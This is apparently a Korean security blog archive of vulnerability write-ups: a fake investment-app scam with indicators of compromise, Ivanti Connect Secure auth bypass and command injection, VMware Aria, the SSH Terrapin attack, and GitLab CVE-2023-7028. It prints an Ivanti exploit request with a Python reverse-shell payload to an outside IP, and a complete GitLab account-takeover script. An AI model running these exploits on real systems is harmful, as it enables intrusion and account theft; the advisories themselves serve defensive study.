1. 개요

- 최근 국내 앱 마켓을 통해 국내 주요 금융社 명칭과 브랜드 로고를 교모하게 변조한 사기앱이 유포

- 해당 앱은 누구나 국내 앱 마켓에서 검색 및 설치가 가능

> 국민 피해 예방을 위해 사기 수법·위장 앱 명칭 등 내용을 공개

 

2. 주요 내용

- 주식, 비상장 코인 투자 정보 제공을 주제로 홍보해 앱 설치 유도

 

[사진 1] 위장 앱 및 기능

 

- 정상 정보·비정상 정보가 혼재된 금융정보 제공 및 사용자 투자의향 표명 시 상담 채널(텔레그램) 연결

> 앱 실행 시 위장 사이트로 연결하며, 회원가입·로그인·일부 조작된 금융 정보 등을 표출

 

[사진 2] 앱 실행 시 회원가입·로그인 요청 및 일부 조작된 거래정보 표출

 

- 상담 채널에서는 이체 요청 후 잠적하는 수법으로 자금 절취

① 비상장 코인에 대해 투자 권유

② 투자금 입금용 계좌번호에 자금 이체 요청

③ 입금 시 수수료 등을 사유로 추가 입금 지속 요구

④ 피해자가 환불 등을 요청시, 잠적

 

3. 침해지표

- 앱 내 포함된 1차 위장 사이트로 접속하면 2차 위장 사이트로 리다이렉션 (두 사이트가 한 세트로 동작)

순번 1차 위장 사이트 2차 위장 사이트 사이트명
1 a[.]phxvsmz[.]store www[.]folisc[.]com 한화
2 a[.]riopcjj[.]store www[.]zoity[.]xyz HANA INT
3 a[.]rnoclbs[.]store www[.]hkahd[.]xyz DB운용에
4 a[.]zaibhmk[.]store www[.]zopsf[.]xyz 유안타 T
5 a[.]xjtyqnw[.]store www[.]ciosly[.]xyz KB AI
6 a[.]wieoawz[.]store www[.]shinhanfund[.]xyz 신한자산운용

 

- 동일한 방식으로 국내 금융社 뿐만 아니라 해외 금융社, 거래소 등을 위장한 사이트도 추가 확인

순번 1차 위장 사이트 2차 위장 사이트
1 a[.]pkxvsmz[.]store www[.]folisc[.]com
2 a[.]riopcjj[.]store www[.]zoity[.]xyz
3 a[.]rnoclbs[.]store www[.]hkahd[.]xyz
4 a[.]zaibhmk[.]store www[.]zopsf[.]xyz
5 a[.]ynrxpkx[.]store www[.]jiudfr[.]xyz
6 a[.]xjtyqnw[.]store www[.]ciosly[.]xyz
7 a[.]wieoawz[.]store www[.]shinhanfund[.]xyz
8 a[.]vzfctgx[.]store www[.]tsuhd[.]xyz
9 a[.]rouurxt[.]store www[.]djueh[.]xyz
10 a[.]emmgadv[.]store www[.]ljiaw[.]com
11 a[.]kwgrnma[.]store www[.]ghdu[.]xyz
12 a[.]ldweezt[.]store www[.]fislod[.]xyz
13 a[.]oepypdd[.]store www[.]bopsi[.]xyz
14 a[.]zcttesa[.]store www[.]djeruy[.]xyz
15 a[.]tphliy[.]store h5[.]cscmapplic[.]xyz
16 a[.]donelwf[.]store www[.]jclise[.]xyz
17 a[.]tnlejon[.]store www[.]zshhsi[.]xyz
18 a[.]jbtlmve[.]store www[.]yiosfe[.]com
19 a[.]dtqyipq[.]store www[.]cipsid[.]xyz
20 a[.]miknddc[.]store www[.]jxbyudufs[.]xyz
21 a[.]wpuvxrn[.]store www[.]piv3[.]com
22 a[.]lpmreoo[.]store www[.]xvsto[.]com
23 a[.]vfnnhlx[.]store www[.]goiwey[.]com
24 a[.]ihimrsb[.]store www[.]topsixj[.]xyz
25 a[.]kpdlhgz[.]store www[.]huiwas[.]com
26 a[.]erweliq[.]store www[.]copeis[.]com
27 a[.]sbwyyqs[.]store www[.]gusisy[.]com
28 a[.]ybuaiot[.]store www[.]tposl[.]xyz
29 a[.]kqoykjn[.]store www[.]tioesl[.]com
30 a[.]vwmnasu[.]store www[.]fgdku[.]xyz
31 a[.]vvjwnmz[.]store www[.]copwx[.]xyz
32 a[.]pfmczyc[.]store www[.]kkjqaz[.]xyz
33 a[.]spgvehi[.]store www[.]ryshos[.]xyz
34 a[.]oaeqxyh[.]store www[.]afhas[.]xyz
35 a[.]zciqgpk[.]store www[.]ljkoc[.]xyz
36 a[.]rppuriw[.]store www[.]ymlisj[.]xyz
37 a[.]aadnhtr[.]store www[.]huiwus[.]com
38 a[.]ckwausl[.]store www[.]fopsjl[.]xyz
39 a[.]gldltyu[.]store www[.]lopwb[.]com
40 a[.]efekftr[.]store www[.]yopdos[.]com
41 a[.]sqrtexz[.]store www[.]kliow[.]xyz
42 a[.]oihckla[.]store www[.]goplpr[.]xyz
43 a[.]djjuedn[.]store www[.]foloix[.]xyz
44 a[.]ebrehld[.]store www[.]yshsns[.]xyz
45 a[.]tpqqkaf[.]store www[.]ropsows[.]xyz
46 a[.]fwhfqkr[.]store www[.]kloieds[.]com
47 a[.]bfwheyk[.]store www[.]accerxas[.]com
48 a[.]mofwepg[.]store www[.]djeruy[.]xyz
49 a[.]lvowzbi[.]store www[.]chneyxvgue[.]xyz
50 www[.]fdasgrdeg[.]store www[.]accerxan[.]com
51 a[.]agplnnw[.]store www[.]xoepdi[.]com
52 a[.]bdemzuc[.]store www[.]dckgti[.]top/kjhek
53 a[.]tskaewj[.]store www[.]aopeses[.]xyz
54 a[.]zuobazx[.]store www[.]accerxan[.]com
55 z[.]whbppxbv[.]store www[.]cmeo[.]com/syn/?y=crypto
56 a[.]syodobc[.]store www[.]flpoesd[.]xyz
57 a[.]cpjmise[.]store www[.]dsdfj[.]xyz
58 a[.]btgevwa[.]store www[.]gdfkhs[.]xyz
59 a[.]ecpotev[.]store www[.]huioesp[.]xyz

 

- 연관 IP 및 MD5

IP 104.22.2.180, 18.166.69.216
MD5 8fd044efd4dd587e2f88c99317371a15 9c2c0d531128233fd5e5ce1fe73afd12
63a515eeb2ef9f73d5b4496f95816e22 1a2c2796572417d7962d6781fee0cb0d
e44fa1bc393b73cbe85c1c0667caf9a4 1ef42484fe8c64382b34fedb1ca93b2e
386afb1e9cd65f88b3faf4031170fc2b 0353251c0ecb5c04ae90ad4c34fd01c8
05b4f435a757f1af3e1e3f269fe3aa3a c52b6d4a3e6f49239397a7f6f5690c78
68c9dafde8be4306b2626cc4a8a5406b 45cdb45b4a0eb201acce1b6dc0477601
7c931a39ce321b216dd22fbae69273a9 768605b5fd6721d7acd3c1a6523955b8

 

4. 대응방안

- 발견된 앱은 백신社와 협조하여 탐지 조치

- 금융보안원 등 유관 기관에 해당 내용을 전파하여 사기앱과 연계된 사이트 차단

 

5. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=112826&pageIndex=1&searchCnd2=#LINK

1. Ivanti [1]

- 미국 유타주 사우스 조단에 본사를 둔 IT 소프트웨어 회사
- IT 보안, IT 서비스 관리, IT 자산 관리, 통합 엔드포인트 관리, ID 관리 및 공급망 관리용 소프트웨어를 생산

 

2. 취약점

- CISA에서 해당 취약점과 관련된 광범위한 악용에 따른 지침 발표 [2][3]

 

2.1 CVE-2023-46805

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-46805 [4]

 

- 취약한 버전의 Ivanti Connect Secure, Ivanti Policy Secure에서 발생하는 인증 우회 취약점

> 원격의 공격자가 인증을 우회하여 제한된 리소스에 액세스할 수 있음

> 악용에 성공한 공격자는 이후 CVE-2024-21887 (명령 주입 취약점, CVSS:9.1)로 추가 익스플로잇 가능

영향받는 버전: Ivanti Connect Secure 및 Ivanti Policy Secure 9.x, 22.x

 

 

- 해당 취약점은 /api/v1/totp/user-backup-code 엔드포인트에서 발생 [5]

> 서버에 요청이 전달되기 전 URI를 테스트하여 인증 필요 여부를 확인하는 doAuthCheck() 존재

> 해당 함수에서 /api/v1/totp/user-backup-code 등 특정 경로의 경우 인증이 강제되지 않음

> 이후 해당 요청은 Python 백엔드 REST 서버로 전달

// web!doAuthCheck
bool __cdecl doAuthCheck(DSLog::Debug *a1, unsigned int *a2)
{
  // ...snip...
  uri_path = a1->uri_path;
  if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
    || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
    || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
    || !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
    || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // <---
    || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
    || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
    || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
  {
    return 1; // <---
  }
  // ...go on and enforce authentication...

 

- /api/v1/totp/user-backup-code 및 추가 문자를 입력해 요청을 전송할 경우 인증을 우회해 제한된 리소스에 액세스 가능

> /api/v1/system/system-information에 접근해 시스템 정보를 반환

> Python REST 백엔드의 모든 엔드포인트에 액세스할 수 있으며 RCE 등 추가 익스플로잇이 가능

$ curl -ik --path-as-is https://[Target IP]/api/v1/totp/user-backup-code/../../system/system-information
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 297

{"software-inventory":{"software":{"build":"1647","name":"IVE-OS","type":"operating-system","version":"22.3R1"}},"system-information":{"hardware-model":"ISA-V","host-name":"localhost2","machine-id":"*****************","os-name":"ive-sa","os-version":"22.3R1","serial-number":"*****************"}}

 

2.1.1 CVE-2024-21887

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-21887 [6]

 

- CVE-2023-46805 익스플로잇에 성공한 공격자가 원격 명령을 실행할 수 있게 되는 취약점 (CVSS: 9.1)

> 영향받는 버전은 CVE-2023-46805과 동일

 

- 해당 취약점은 /api/v1/license/keys-status 엔드포인트를 이용

> restservice/api/resources/license.py: 요청이 /api/v1/license/keys-status로 시작할 경우 명령을 처리

> 두 취약점 악용을 위한 PoC 존재 [7]

class License(Resource):
    """
    Handles requests that are coming for licensing APIs
    For now the only API is license/auth-code
    """

    # ...snip...

    def get(self, url_suffix=None, node_name=None):
        if request.path.startswith("/api/v1/license/keys-status"):
            try:
                dsinstall = os.environ.get("DSINSTALL")
                if node_name == None:
                    node_name = ""
                proc = subprocess.Popen(
                    dsinstall
                    + "/perl5/bin/perl"
                    + " "
                    + dsinstall
                    + "/perl/getLicenseCapacity.pl"
                    + " getLicenseKeys "
                    + node_name, # <---
                    shell=True,
                    stdout=subprocess.PIPE,
                )

 

- 아래 명령을 인코딩하여 페이로드 전송

Payload: ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.43",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
URL: [Target IP]/api/v1/totp/user-backup-code/../../license/keys-status/[Encoded Payload]

 

[사진 3] 익스플로잇 결과

 

2.2 CVE-2023-35082

[사진 4] https://nvd.nist.gov/vuln/detail/CVE-2023-35082 [8]

 

- 취약한 버전의 Ivanti EPMM/MobileIron Core에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> 관리 서버의 API 엔드포인트에 엑세스할 수 있으며, 개인 식별 정보 접근 및 플랫폼 변경 등 여러 작업 수행 가능

> CVE-2023-35078

영향받는 버전
① EPMM 11.8 ~ 11.10
② MobileIron Core 11.7 이하

 

- 구체적인 내용은 확인되지 않으나 구글링 및 PoC 결과 2가지 API를 사용하는 것으로 판단됨 [9][10]

API 설명
/mifs/asfV3/api/v2/ping API 버전
/mifs/asfV3/api/v2/admins/users 사용자 정보

 

[사진 5] 익스플로잇 결과

3. 대응방안

- 벤더사 제공 업데이트 제공 [11][12]

> CVE-2023-46805, CVE-2024-21887의 경우 아직 패치 개발중으로 01/22~02/19까지 버전 간 시차를 두고 출시 예정 [13]

※ 두 취약점의 경우 벤더사 홈페이지를 통해 임시 완화 조치 적용 [14]

> CVE-2023-35082의 경우 11.2 이하 버전은 지원 중단되었으며, 11.3 ~ 11.10 버전 RPM 스크립트 적용 참고 [15]

취약점 제품명 영향받는 버전 해결 버전
CVE-2023-46805 Ivanti Connect Secure
Ivanti Policy Secure
9.x
22.x
-
CVE-2024-21887
CVE-2023-35082 EPMM (Ivanti Endpoint Manager Mobile) 11.8 ~ 11.10 11.11.0.0
MobileIron Core 11.7 이하

 

- Mandiant에서 취약점을 악용한 공격에 대한 침해지표를 제공 [16]

 

- 탐지 패턴 적용

취약점 패턴
CVE-2023-46805 api/v1/totp/user-backup-code
CVE-2024-21887
CVE-2023-35082 mifs/asfV3/api/v2

 

4. 참고

[1] https://www.ivanti.com/
[2] https://www.cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities
[3] https://www.cisa.gov/news-events/news/cisa-issues-emergency-directive-requiring-federal-agencies-mitigate-ivanti-connect-secure-and-policy
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-46805
[5] https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis?referrer=etrblog
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-21887
[7] https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887
[8] https://nvd.nist.gov/vuln/detail/CVE-2023-35082
[9] https://threatprotect.qualys.com/2023/08/03/ivanti-endpoint-manager-mobile-epmm-remote-unauthenticated-api-access-vulnerability-cve-2023-35082/
[10] https://github.com/Chocapikk/CVE-2023-35082
[11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71292
[12] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71301
[13] https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
[14] https://success.ivanti.com/customers/Community_RegStep1_Page?inst=UL&startURL=%2Fservlet%2Fnetworks%2Fswitch%3FnetworkId%3D0DB1B000000PBGy%26startURL%3D%2Fs%2Farticle%2FDownload-Links-Related-to-CVE-2023-46805-and-CVE-2024-21887
[15] https://forums.ivanti.com/s/article/KB-Remote-Unauthenticated-API-Access-Vulnerability-CVE-2023-35082?language=en_US
[16] https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day
[17] https://www.boannews.com/media/view.asp?idx=125833&page=19&kind=1
[18] https://www.boannews.com/media/view.asp?idx=126053&page=9&kind=1

[19] https://www.boannews.com/media/view.asp?idx=126245&page=1&kind=1

1. Aria Automation [1]

- 클라우드 환경에서 애플리케이션을 구축하고 관리할 수 있는 자동화 플랫폼

- 사용자가 지정한 리소스를 퍼블릭·프라이빗 클라우드에 배포하는 기능을 담당

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-34063 [2]

 

- 취약한 버전의 Aria Automation에 접근 제어가 누락되어 발생하는 취약점 (CVSS: 9.9)

> 공격자는 취약점을 악용해 원격 조직 및 작업 흐름에 대한 무단 액세스가 가능

> 현재 공격에 악용되었다는 증거는 없으나, 최대한 빠른 패치를 권고

> CISA는 해당 취약점에 대한 경고를 발행 [3]

영향받는 버전
① VMware Aria Automation(이전 vRealize Automation) 8.14.x, 8.13.x, 8.12.x, 8.11.x 버전
② VMware Cloud Foundation(Aria Automation) 5.x, 4.x 버전 

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6][7]

제품명 영향받는 버전 해결 버전
VMware Aria Automation 8.14.x 8.14.1+
8.13.x 8.13.1+
8.12.x 8.12.2+
8.11.x 8.11.2+
VMware Cloud Foundation(Aria Automation) 5.x, 4.x KB96136

 

4.참고

[1] https://www.vmware.com/kr/products/aria-automation.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-34063
[3] https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation
[4] https://www.vmware.com/security/advisories/VMSA-2024-0001.html
[5] https://kb.vmware.com/s/article/96098
[6] https://kb.vmware.com/s/article/96136
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71298&menuNo=205020
[8] https://socradar.io/patches-available-for-a-critical-vulnerability-in-vmware-aria-automation-cve-2023-34063/
[9] https://github.com/advisories/GHSA-fcww-v4hr-rgfr
[10] https://thehackernews.com/2024/01/citrix-vmware-and-atlassian-hit-with.html
[11] https://www.securityweek.com/vmware-urges-customers-to-patch-critical-aria-automation-vulnerability/
[12] https://securityonline.info/cve-2023-34063-cvss-9-9-a-critical-flaw-in-vmware-aria-automation/
[13] https://www.boannews.com/media/view.asp?idx=125955&page=2&kind=1

1. 개요 [1]

- SSH(Secure Shell Protocol)는 1995년 telnet, rlogin, rcp 등의 대안으로 설계되어, 암호화된 통신을 지원
> 인증된 키 교환을 사용해 클라이언트와 서버간 보안 채널을 설정
> 보안 채널은 메시지 조작, 재전송, 삭제 등을 방지하여 기밀성과 무결성을 보장
- 독일 보훔 루르대학교에서 SSH를 공격할 수 있는 새로운 기법 Terrapin 발견
> 통신 채널을 통해 교환되는 메시지를 삭제, 변경 등 조작할 수 있음
OpenSSH, Paramiko, PuTTY, KiTTY, WinSCP, libssh, libssh2, AsyncSSH, FileZilla, Dropbear를 포함한 다양한 SSH 클라이언트 및 서버에 영향

 

[사진 1] Tererapin Attack

2. 주요내용

Terrapin Attack은 SSH 핸드셰이크 과정에 개입해 중간자 공격 수행

> 핸드셰이크 과정은 클라이언트와 서버가 암호화 요소에 동의하고, 키를 교환해 보안 채널을 설정하는 중요 단계
> 전 세계 약 1,100만 개 이상의 SSH 서버가 영향권 [2]

 

[사진 2] 공격 개요

 

[사진 3] Terrapin Attack 취약 서버

 

- SSH 핸드셰이크 과정의 2가지 문제에 의해 발생

핸드셰이크의 모든 과정이 아닌 시퀀스 번호를 이용해 관리
보안 채널 시작시 시퀀스 번호를 재설정하지 않음

> 따라서, 공격자는 핸드셰이크 과정에 개입 및 시퀀스 번호 조작을 통해 SSH 채널의 무결성을 손상 시킬 수 있음

※ 사용자 인증을 위한 공개 키 알고리즘 다운그레이드, 여러 보안 기능 비활성화 등

 

[사진 4] 취약점 근본 원인

 

- 공격이 성공하기 위한 조건 존재

> 중간자 공격이 가능해야 하며, ChaCha20-Poly1305 암호화 알고리즘을 사용
> ChaCha20-Poly1305 알고리즘은 시퀀스 번호를 직접 사용하기 때문에 취약

 

※ 참고

영향 알고리즘
취약하지 않음 GCM, CBC-EaM, CTR-EaM
취약하나 악용불가 CTR-EtM
취약하나 확율적 악용가능 CBC-EtM

 

- 논문에 따르면 전체 서버 중 57.73%가 ChaCha20-Poly1305 알고리즘 선호

> 전체 서버 중 ChaCha20-Poly1305, CBC-EtM 알고리즘이 각각 67.58%, 17.24% 지원 (그 중 7%는 두 가지 알고리즘 모두 제공)

 

[사진 5] 지원 암호 알고리즘

 

- 해당 공격은 CVE-2023-48795로 명명 [3]
> CVE-2023-46445(AsyncSSH의 악성 확장 협상 공격), CVE-2023-46446(AsyncSSH의 악성 세션 공격) 포함

 

3. 대응방안

> 클라이언트-서버간 모든 SSH 핸드셰이크를 인증
> 시퀀스 번호 재설정: 암호화 키가 활성화될 때 시퀀스 번호 0 재설정
> 통신 종료 메시지 지정: TLS 에서는 핸드셰이크 과정의 끝을 알리기 위해 Finished 메시지가 전송되며, 이는 서명이나 암호화되어 상대방이 검증하는 용도로 사용 [4]
> 핸드셰이크 과정 중 인증되지 않은 애플리케이션 계층 메시지를 허용하지 않도록 강화(AsyncSSH의 경우)
> 서버 보안 패치 즉시 적용: 패치가 적용된 서버일지라도, 클라이언트가 취약한 상태라면 서버 또한 취약한 상태이므로 주의 필요
> 취약점 스캐너 활용 [5]

 

4. 참고

[1] https://terrapin-attack.com/
[2] https://www.bleepingcomputer.com/news/security/nearly-11-million-ssh-servers-vulnerable-to-new-terrapin-attacks/
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-48795
[4] https://learn.microsoft.com/ko-kr/windows/win32/seccrypto/finish-messages-in-the-tls-1-0-protocol
[5] https://github.com/RUB-NDS/Terrapin-Scanner/releases/tag/v1.1.3
[6] https://cybersecuritynews.com/new-terrapin-attacking-ssh-protocol/
[7] https://www.dailysecu.com/news/articleView.html?idxno=152520
[8] https://www.digitaltoday.co.kr/news/articleView.html?idxno=498909

1. GitLab [1]

- 소프트웨어 개발 및 협업을 위한 다양한 솔루션을 제공하는 웹 기반 DevOps 플랫폼

> 깃 저장소 관리, CI/CD, 이슈 추적, 보안성 테스트 등
> GitLab CE: Community Edition / GitLab EE: Enterprise Edition

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-7028 [2]

 

- 취약한 버전의 GitLab에서 비밀번호 재설정 프로세스의 버그로 인해 발생하는 계정 탈취 취약점 (CVSS: 10.0)

사용자 개입 없이 계정을 탈취할 수 있음

> 비밀번호 재설정 기능을 악용하여 계정 비밀번호 재설정 이메일이 확인되지 않은 이메일 주소로 전달되는 취약점

취약한 버전
- GitLab Community Edition(CE) 및 Enterprise Edition(EE) 버전 정보
> 16.1 ~ 16.1.5
> 16.2 ~ 16.2.8
> 16.3 ~ 16.3.6
> 16.4 ~ 16.4.4
> 16.5 ~ 16.5.5
> 16.6 ~ 16.6.3
> 16.7 ~ 16.7.1

 

2.1 취약점 상세 [3]

- 23.05.01 GitLab 16.1.0 버전에서 보조 이메일 주소를 통한 비밀번호 재설정 기능 도입

> 구체적인 내용은 확인되지 않으나, 이메일 확인 프로세스의 버그로 인해 발생되는 것으로 판단됨

 

공격 대상 이메일과 공격자가 제어하는 보조 이메일 주소를 입력

> 공격자가 제어하는 보조 이메일 주소로 비밀번호 재설정 메시지 전송

※ 공격 대상 이메일에도 비밀번호 재설정 메시지가 전송됨

공격자는 전송된 메시지를 통해 비밀번호 재설정 프로세스를 하이재킹하여 비밀번호 변경 및 계정 탈취가 가능해짐

user[email][]=my.target@example.com&user[email][]=hacker@evil.com

 

2.2 PoC [4]

- PoC 동작 과정
① POST 메서드를 이용해 /user/password URL로 악성 요청 전송
② 응답에서 인증 토큰(authenticity_token) 추출 후 비밀번호 재설정 요청 전송
③ 공격 대상 이메일과 공격자 제어 이메일에 비밀번호 재설정 메시지 전송
④ 새로운 패스워드 설정 후 공격 대상 계정 및 재설정 비밀번호를 이용해 /users/sign_in URL로 접근 가능함을 안내

import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re

requests.packages.urllib3.disable_warnings()

class OneSecMail_api:
    def __init__(self):
        self.url = "https://www.1secmail.com"
        self.domains = []

    def get_domains(self):
        print('[DEBUG] Scrapping available domains on 1secmail.com')
        html = requests.get(f'{self.url}').text
        pattern = re.compile(r'<option value="([a-z.1]+)" data-prefer')
        self.domains = pattern.findall(html)
        print(f'[DEBUG] {len(self.domains)} domains found')

    def get_email(self):
        print('[DEBUG] Getting temporary mail')
        if self.domains == []:
            self.get_domains()
        if self.domains == []:
            return None
        name = ''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(10)])
        domain = choice(self.domains)
        mail = f'{name}@{domain}'
        print(f'[DEBUG] Temporary mail: {mail}')
        return mail

    def get_mail_ids(self, name, domain):
        print(f'[DEBUG] Getting last mail for {name}@{domain}')
        html = requests.post(f'{self.url}/mailbox',
                             verify=False,
                             data={
                                 'action': 'getMessages',
                                 'login': name,
                                 'domain': domain
                             }).text
        pattern = re.compile(r'<a href="/mailbox/\?action=readMessageFull&(.*?)">')
        mails = pattern.findall(html)
        return mails

    def get_last_mail(self, mail):
        name, domain = mail.split('@')
        mails = self.get_mail_ids(name, domain)
        print(f'[DEBUG] {len(mails)} mail(s) found')
        if mails == []:
            return None
        print(f'[DEBUG] Reading the last one')
        html = requests.get(f'{self.url}/mailbox/?action=readMessageFull&{mails[0]}', verify=False).text
        content = html.split('<div id="messageBody">')[1].split('<div id="end1sMessageBody">')[0]
        return content


class CVE_2023_7028:
    def __init__(self, url, target, evil=None):
        self.use_temp_mail = False
        self.mail_api = OneSecMail_api()
        self.url = urlparse(url)
        self.target = target
        self.evil = evil
        self.s = requests.session()

        if self.evil is None:
            self.use_temp_mail = True
            self.evil = self.mail_api.get_email()
            if not self.evil:
                print('[DEBUG] Failed ... quitting')
                exit()

    def get_authenticity_token(self, code=''):
        try:
            print('[DEBUG] Getting authenticity_token ...')
            endpoint = f'/users/password/edit?reset_password_token={code}'
            html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/{endpoint}', verify=False).text
            regex = r'<input type="hidden" name="authenticity_token" value="(.*?)" autocomplete="off" />'
            token = re.findall(regex, html)[0]
            print(f'[DEBUG] authenticity_token = {token}')
            return token
        except Exception:
            print('[DEBUG] Failed ... quitting')
            return None

    def get_csrf_token(self):
        try:
            print('[DEBUG] Getting authenticity_token ...')
            html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
            regex = r'<meta name="csrf-token" content="(.*?)" />'
            token = re.findall(regex, html)[0]
            print(f'[DEBUG] authenticity_token = {token}')
            return token
        except Exception:
            print('[DEBUG] Failed ... quitting')
            return None

    def ask_reset(self):
        token = self.get_csrf_token()
        if not token:
            return False

        query_string = urlencode({
            'authenticity_token': token,
            'user[email][]': [self.target, self.evil]
        }, doseq=True)

        head = {
            'Origin': f'{self.url.scheme}://{self.url.netloc}',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
            'Connection': 'close',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate, br'
        }

        print('[DEBUG] Sending reset password request')
        html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
                           data=query_string,
                           headers=head,
                           verify=False).text
        sended = 'If your email address exists in our database' in html
        if sended:
            print(f'[DEBUG] Emails sended to {self.target} and {self.evil} !')
        else:
            print('[DEBUG] Failed ... quitting')
        return sended

    def parse_email(self, content):
        try:
            pattern = re.compile(r'/users/password/edit\?reset_password_token=(.*?)"')
            token = pattern.findall(content)[0]
            return token
        except:
            return None

    def get_code(self, max_attempt=5, delay=7.5):
        if not self.use_temp_mail:
            url = input('\tInput link received by mail: ')
            pattern = re.compile(r'(https?://[^"]+/users/password/edit\?reset_password_token=([^"]+))')
            match = pattern.findall(url)
            if len(match) != 1:
                return None
            return match[0][1]
        else:
            for k in range(1, max_attempt+1):
                print(f'[DEBUG] Waiting mail, sleeping for {str(delay)} seconds')
                sleep(delay)
                print(f'[DEBUG] Getting link using temp-mail | Try N°{k} on {max_attempt}')
                last_email = self.mail_api.get_last_mail(self.evil)
                if last_email is not None:
                    code = self.parse_email(last_email)
                    return code

    def reset_password(self, password):
        code = self.get_code()

        if not code:
            print('[DEBUG] Failed ... quitting')
            return False

        print('[DEBUG] Generating new password')
        charset = 'abcdefghijklmnopqrstuvwxzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

        if password is None:
            password = ''.join(choice(charset) for _ in range(20))

        authenticity_token = self.get_authenticity_token(code)
        if authenticity_token is None:
            return False

        print(f'[DEBUG] Changing password to {password}')

        html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
                           verify=False,
                           data={
                               '_method': 'put',
                               'authenticity_token': authenticity_token,
                               'user[reset_password_token]': code,
                               'user[password]': password,
                               'user[password_confirmation]': password
                           }).text
        success = 'Your password has been changed successfully.' in html
        if success:
            print('[DEBUG] CVE_2023_7028 succeed !')
            print(f'\tYou can connect on {self.url.scheme}://{self.url.netloc}/users/sign_in')
            print(f'\tUsername: {self.target}')
            print(f'\tPassword: {password}')
        else:
            print('[DEBUG] Failed ... quitting')


def parse_args():
    parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
    parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
    parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
    parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
    parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
    return parser.parse_args()


if __name__ == '__main__':
    args = parse_args()
    exploit = CVE_2023_7028(
        url=args.url,
        target=args.target,
        evil=args.evil
    )
    if not exploit.ask_reset():
        exit()
    exploit.reset_password(password=args.password)

 

[사진 2] 비밀번호 재설정 요청 전송(위) 및 비밀번호 재설정 메일 공격자 수신 내역(아래) [5]

 

3. 대응방안

① 벤더사 제공 업데이트 및 권장사항 적용 [6]

- 해당 취약점을 포함한 5개의 취약점 패치를 제공하며, 즉각적인 조치가 필요

> 권장 사항 [7]
⒜ 여러 이메일 주소가 포함된 JSON 배열을 사용해 /users/password에 대한 HTTP 요청 로그(gitlab-rails/production_json.log)를 검토
⒝ 감사 로그(gitlab-rails/audit_json.log)에서 여러 이메일 주소의 JSON 배열이 포함된 PasswordsController#create와 관련된 항목이 있는지 확인

제품명 영향받는 버전 해결버전
GitLab CE/EE 16.1 ~ 16.1.5 16.1.6
16.2 ~ 16.2.8 16.2.9
16.3 ~ 16.3.6 16.3.7
16.4 ~ 16.4.4 16.4.5
16.5 ~ 16.5.5 16.5.6
16.6 ~ 16.6.3 16.6.4
16.7 ~ 16.7.1 16.7.2

 

② 모든 GitLab 계정에 대해 2단계 인증 적용

2단계 인증 활성화시 비밀번호 재설정 취약점은 여전히 존재하나 2단계 인증 방법에는 액세스 불가

 

③ GitLab에 저장된 모든 비밀을 변경 [8]

- GitLab 계정 비밀번호를 포함한 모든 자격 증명
- API 토큰
- 모든 인증서
